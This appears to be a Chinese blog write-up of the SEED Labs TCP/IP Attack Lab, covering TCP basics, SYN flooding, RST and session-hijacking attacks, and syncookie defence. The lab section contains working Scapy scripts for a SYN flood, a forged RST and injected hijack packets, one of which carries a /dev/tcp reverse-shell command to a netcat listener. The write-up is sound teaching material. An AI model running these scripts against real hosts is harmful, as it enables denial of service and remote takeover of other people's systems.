0%

网络攻防-TCP攻击

网络攻防-假消息攻击2-TCP攻击,涉及实验:SEED Labs – TCP/IP Attack Lab,代码见:https://github.com/Seanxz401/seed-labs

理论

传输控制协议(TCP)为应用程序提供主机到主机的通信服务。(可靠且有序)

TCP通信代码

客户端:1.创建套接字;2.设置目的地相关信息;3.连接目标服务器;4.发送数据

1
2
3
4
5
6
7
8
9
int sockfd=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in dest;
memset(&dest,0,sizeof(struct sockaddr_in));
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=inet_addr("1.1.1.1");
dest.sin_port=htons(8080);
connect(sockfd,(struct sockaddr*)&dest,sizeof(struct sockaddr_in));
char *buf="hello";
write(sockfd,buf,strlen(buf));

服务器端:1.创建套接字;2.绑定到端口;3.监听连接;4.接受连接请求;5.发送和接收数据

1
2
3
4
5
6
7
8
9
int sockfd=socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in myaddr,client_addr;
memset(&myaddr,0,sizeof(struct sockaddr_in));
myaddr.sin_family=AF_INET;
myaddr.sin_port=htons(8080);
bind(sockfd,(struct sockaddr*)&myaddr,sizeof(struct sockaddr_in));
listen(sockfd,5);
int client_len=sizeof(client_addr);
newsockfd=accept(sockfd,(struct sockaddr*)&client_addr,&client_len);

要接受多个连接可以采用fork多进程、pthread多线程、select轮询等方法。以fork为例:

1
2
3
4
5
6
7
8
9
10
11
12
while(1){
newsockfd=accept(sockfd,(struct sockaddr*)&client_addr,&client_len);
if(fork()==0){
close(sockfd);
memset(read_buf,0,sizeof(read_buf));
int len=read(newsockfd,read_buf,100);
close(newsockfd);
return 0;
}ekse{
close(newsockfd);
}
}

TCP报文

image-20221231152030964

  • seq序列号,如果设置了SYN位,则为初始序列号
  • ack确认号,等于发送方期望的下一个序列号的值

TCP三次握手

image-20221231152310873
  1. SYN包,客户端使用随机生成的数字x作为序列号
  2. SYN+ACK,服务器端使用随机生成的数字y作为序列号
  3. ACK,客户端确认,结束握手

SYN Flooding

当服务器接收到初始SYN数据包时,它使用TCB(传输控制块)存储有关连接的 信息。服务器将TCB存储在仅用于半开放连接的队列中。在服务器获得ACK数据包后,它将把这个TCB从队列中取出并存储在另一个地方 。如果ACK没有到达,服务器将重新发送SYN+ACK数据包。一段时间后,TCB最终将 被丢弃。

攻击原理:持续向服务器发送大量 SYN数据包。这会通过插入TCB记录来消耗队列 中的空间。最终服务器端没有空间为任何新的半开放连接存储TCB,导致无法接收新的客户端连接请求。

ps.使用随机的源IP

防范:syncookies。在服务器接收到SYN数据包后,它使用只有服务器知道的密钥从数据包中的信息 计算密钥散列(H)。此哈希(H)作为初始序列号从服务器发送到客户端。服务器不会将半开放连接存储在其队列中。服务器通过重新计算cookie来检查确认字段中的数字是否有效。

TCP重置攻击

断开TCP连接:

  • FIN四次挥手

    image-20221231153359564
  • RST:通信一方发送RST立刻断开连接

伪造RST数据包需要正确设置序列号和确认号

TCP会话劫持攻击

在已建立连接中注入数据。伪造数据包需要正确设置序列号和确认号,具体见实验。

反向shell

劫持连接后运行的最佳命令是运行反向shell命令。image-20221231154243907

防御

  • 使攻击者难以伪造数据包
    • 随机化源端口号
    • 随机化初始序列号
    • 对本地攻击无效
  • 加密有效载荷

实验

Task1 SYN

1.1 synflooding.py

1
2
3
4
5
6
7
8
9
10
11
12
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(dst='10.9.0.5')
tcp=TCP(dport=23,flags='S')
pkt=ip/tcp
while True:
pkt[IP].src=str(IPv4Address(getrandbits(32)))
pkt[TCP].sport = getrandbits(16)
pkt[TCP].seq = getrandbits(32)
send(pkt, verbose = 0)

以容器10.9.0.5的23端口作为目标,通过telnet判断是否成功。

第一次尝试,容器中通过netstat -nat可以看到23端口收到了很多的SYN包,但是telnet远程登录还是成功了。

改进1:提高受害者的tcp重传阈值

1
sysctl -w net.ipv4.tcp_synack_retries=10

改进2:减小队列中能容纳的syn包的数量

1
sysctl -w net.ipv4.tcp_max_syn_backlog=80

在容器中清除受害者与攻击者的成功连接记录:

1
2
ip tcp_metrics show		#查看
ip tcp_metrics flush #刷新

再次发起攻击,等待一分钟后尝试登录,无法连接成功:image-20221128162228311

查看受害者的队列中有多少个半连接:(前面设置的队列大小的四分之三用于存放半连接,三分之一用来存放已成功连接,因此有效容量为80*3/4=60)

1
netstat -tna | grep SYN_RECV | wc -l

可以看出来队列已满image-20221128162526963

1.2 synflooding.c

首先将受害者的相关参数恢复为修改前。

1
2
sysctl -w net.ipv4.tcp_synack_retries=5
sysctl -w net.ipv4.tcp_max_syn_backlog=128

编译执行synflood.c,等待一分钟后尝试telnet连接受害者,无法成功登录,查看半连接数量97>(128*0.75=96):image-20221128163534578

1.3 syncookie

开启syncookie保护机制,此机制能够检测syn洪水攻击

1
sysctl -w net.ipv4.tcp_syncookies=1

开启syncookie后再次攻击,攻击无效,远程登录能成功。查看此时设置的队列值tcp_max_syn_backlog无效,因为连接并没有存在队列中。tcp_syncookies 半连接 - silyvin - 博客园 (cnblogs.com)image-20221128164013869

Task2 RST

开启wireshark监听telnet包,用10.9.0.510.9.0.6发起telnet远程连接,成功登录后,查看最后一个telnet数据包,从中获取源IP、目的IP、源端口、目的端口、next seq等重要信息:image-20221128170735641

根据这些信息构造RST包,伪装成上面那个最后一个telnet包的下一个包:

1
2
3
4
5
6
7
8
9
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(src='10.9.0.6',dst='10.9.0.5')
tcp=TCP(sport=23,dport=43322,flags='R',seq=2592535282)
pkt=ip/tcp
ls(pkt)
send(pkt, verbose = 0)

执行代码后查看连接已被中断,wireshark也捕获到了对应的RST包:image-20221128170947754

Task3 session.py

从远端(10.9.0.6)发来的最后一个telnet包中获得重要信息

image-20221128180556451

攻击者假装是10.9.0.5在与10.9.0.6通信,seq和ack与上图中的交换,data中保存想要执行的命令,注意以\n\0结尾,\n表示回车执行,\0表示字符串结尾

1
2
3
4
5
6
7
8
9
10
from scapy.all import *
from ipaddress import IPv4Address
from random import getrandbits

ip=IP(src='10.9.0.5',dst='10.9.0.6')
tcp=TCP(sport=43386,dport=23,flags='A',seq=1725633516,ack=1288303463)
data='echo hackaaa\n\0'
pkt=ip/tcp/data
ls(pkt)
send(pkt, verbose = 0)

wireshark抓到攻击者发出的会话劫持包,并成功接收到来自10.9.0.6的对应命令的回复,此时10.9.0.5的远程连接终端已经锁死。image-20221128180718095

Task4

大概过程与Task3类似,只是将传递的一条命令内容改为reverse shell。根据最后一个telnet包填充内容,代码:

1
2
3
4
5
6
ip=IP(src='10.9.0.5',dst='10.9.0.6')
tcp=TCP(sport=43414,dport=23,flags='A',seq=1895045313,ack=3264741626)
data='/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0'
pkt=ip/tcp/data
ls(pkt)
send(pkt, verbose = 0)

攻击机开启9090端口监听:

1
nc -lnv 9090

发送构造的包,成功获取到shell:image-20221129150908375